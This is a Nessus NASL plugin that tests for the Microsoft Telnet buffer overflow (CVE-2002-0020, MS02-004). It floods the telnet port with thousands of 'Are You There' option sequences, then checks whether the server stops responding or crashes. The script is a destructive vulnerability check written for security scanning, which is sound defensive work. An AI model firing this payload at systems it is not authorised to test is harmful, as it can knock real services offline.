#
# This plugin is a derivative of teso_telnet.nasl by Pavel Kankovsky, DCIT s.r.o. <kan@dcit.cz>
#

if (description) {
  script_id(11314);
  script_bugtraq_id(4061);
  script_version ("$Revision: 1.4 $");
  script_cve_id("CVE-2002-0020");
 
  name["english"] = "Buffer overflow in Microsoft Telnet";
  script_name(english:name["english"]);
 
  desc["english"] = "
The remote telnet server crashes when it receives too many options,
probably because of a buffer overflow.

An attacker may use this flaw to gain a shell on this host.

Solution: see http://www.microsoft.com/technet/security/bulletin/ms02-004.mspx
Risk factor : High";
  script_description(english:desc["english"]);
 
  summary["english"] = "Attempts to overflow the Telnet server buffer";
  script_summary(english:summary["english"]);
 
  script_category(ACT_DESTRUCTIVE_ATTACK);
 
  script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");

  family["english"] = "Gain root remotely";
  script_family(english:family["english"]);

  script_dependencie("find_service.nes");
  script_require_ports("Services/telnet", 23);
  exit(0);
}

#
# The script code starts here.
#

iac_ayt = raw_string(0xff, 0xf6);
iac_ao  = raw_string(0xff, 0xf5);
iac_will_naol = raw_string(0xff, 0xfb, 0x08);
iac_will_encr = raw_string(0xff, 0xfb, 0x26);

#
# This helper function counts AYT responses in the input stream.
# The input is read until 1. the expected number of responses is found,
# or 2. EOF or read timeout occurs.
#
# At this moment, any occurence of "Yes" or "yes" is supposed to be such
# a response. Of course, this is wrong: some FreeBSD was observed to react
# with "load: 0.12  cmd: .log 20264 [running] 0.00u 0.00s 0% 620k"
# when the telnet negotiation have been completed. Unfortunately, adding
# another pattern to this code would be too painful (hence the negotiation
# tricks in attack()).
#
# In order to avoid an infinite loop (when testing a host that generates
# lots of junk, intentionally or unintentionally), I stop when I have read
# more than 100 * max bytes.
#
# Please note builtin functions like ereg() or egrep() cannot be used
# here (easily) because they choke on '\0' and many telnet servers send
# this character
#
# Local variables: num, state, bytes, a, i, newstate
#

function count_ayt(sock, max) {
  num = 0; state = 0;
  bytes = 100 * max;
  while (bytes >= 0) {
    a = recv(socket:sock, length:1024);
    if (!a) return (num);
    bytes = bytes - strlen(a);
    for (i = 0; i < strlen(a); i = i + 1) {
      newstate = 0;
      if ((state == 0) && ((a[i] == "y") || (a[i] == "Y")))
        newstate = 1;
      if ((state == 1) && (a[i] == "e"))
        newstate = 2;
      if ((state == 2) && (a[i] == "s")) {
        # DEBUG display("hit ", a[i-2], a[i-1], a[i], "\n");
        num = num + 1;
        if (num >= max) return (num);
        newstate = 0;
      }
      state = newstate;
    }
  }
  # inconclusive result
  return (-1);
}

#
# This functions tests the vulnerability. "negotiate" indicates whether
# full telnet negotiation should be performed using telnet_init().
# Some targets might need it while others, like FreeBSD, fail to respond
# to AYT in an expected way when the negotiation is done (cf. comments
# accompanying count_ayt()).
#
# Local variables: r, total, size, bomb, succ
#

function attack(port, negotiate) {
  succ = 0;
  soc = open_sock_tcp(port);
  if (!soc) return (0);
  if (negotiate)
    # standard negotiation
    r = telnet_init(soc);
  else {
    # wierd BSD magic, is is necessary?
    send(socket:soc, data:iac_will_naol);
    send(socket:soc, data:iac_will_encr);
    r = 1;
  }
  if (r) {
    # test whether the server talks to us at all
    # and whether AYT is supported
    send(socket:soc, data:iac_ayt);
    r = count_ayt(sock:soc, max:1);
    # DEBUG display("probe ", r, "\n");
    if (r >= 1) { 
      # test whether too many AYT's make the server die
      total = 2048; size = total * strlen(iac_ayt);
      bomb = iac_ao + crap(length:size, data:iac_ayt);
      send(socket:soc, data:bomb);
      r = count_ayt(sock:soc, max:total);
      # DEBUG
#display("attack ", r, " expected ", total, "\n");
      if ((r >= 0) && (r < total)) succ = 1;
    }
  }
  close(soc);
  return (succ);
}

#
# The main program.
#

port = get_kb_item("Services/telnet");
if (!port) port = 23;

if (get_port_state(port)) {
  success = attack(port:port, negotiate:0);
  if (!success) success = attack(port:port, negotiate:1);
  if (success) {
  	sleep(5);
  	soc = open_sock_tcp(port);
	if(!soc)security_hole(port);
	}
}

